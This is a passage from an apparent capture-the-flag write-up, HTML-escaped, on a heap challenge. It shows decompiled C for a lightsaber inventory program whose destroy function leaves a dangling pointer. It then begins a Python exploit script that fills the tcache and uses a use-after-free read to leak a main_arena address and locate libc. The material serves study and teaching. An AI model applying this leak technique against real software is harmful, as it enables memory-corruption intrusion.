&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;pcVar2;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[*] Index: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read_uint&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;((idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; saber_count) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)) {
&lt;&#x2F;span&gt;&lt;span&gt;     lVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= *&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;--- Lightsaber #&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%u&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt; ---&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,(ulong)idx);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Name    : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,lVar1);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Crystal : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%u\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,(ulong)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;uint &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(lVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x80&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Length  : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%u&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt; cm&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,(ulong)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;uint &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(lVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x84&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(lVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x88&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        pcVar2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;dormant&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;     }
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        pcVar2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;IGNITED&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;     }
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Status  : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,pcVar2);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;---------------------&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[-] Invalid.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;destroy&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#destroy&quot; aria-label=&quot;Anchor link for: destroy&quot;&gt;destroy&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt; idx;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[*] Index: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read_uint&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;((idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; saber_count) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)) {
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;**&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[+] Destroyed.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[-] Invalid.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;read-line&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#read-line&quot; aria-label=&quot;Anchor link for: read-line&quot;&gt;read_line&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;read_line&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;param_1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;param_2&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;ssize_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sVar1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,param_1,param_2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;FUN_00401160&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long&lt;&#x2F;span&gt;&lt;span&gt;)param_1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ -&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(undefined &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long&lt;&#x2F;span&gt;&lt;span&gt;)param_1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ -&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(undefined &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long&lt;&#x2F;span&gt;&lt;span&gt;)param_1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sVar1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;offset-calculation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#offset-calculation&quot; aria-label=&quot;Anchor link for: offset-calculation&quot;&gt;Offset Calculation&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The following script calculates the offset from an address inside main_arena to the libc base address.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;font-style:italic;color:#ff5e5e;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;calculate_offset&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Calculating unsorted bin offset via &#x2F;proc&#x2F;pid&#x2F;maps ...&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# [...]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# First: Allocate 9 sabers
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# Then: Free sabers 0-6 to fill the tcache
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# [...]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# tcache full -&amp;gt; chunk 7 goes to unsorted bin
&lt;&#x2F;span&gt;&lt;span&gt;    name, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;inspect_saber&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# UaF-read for `main_arena` address
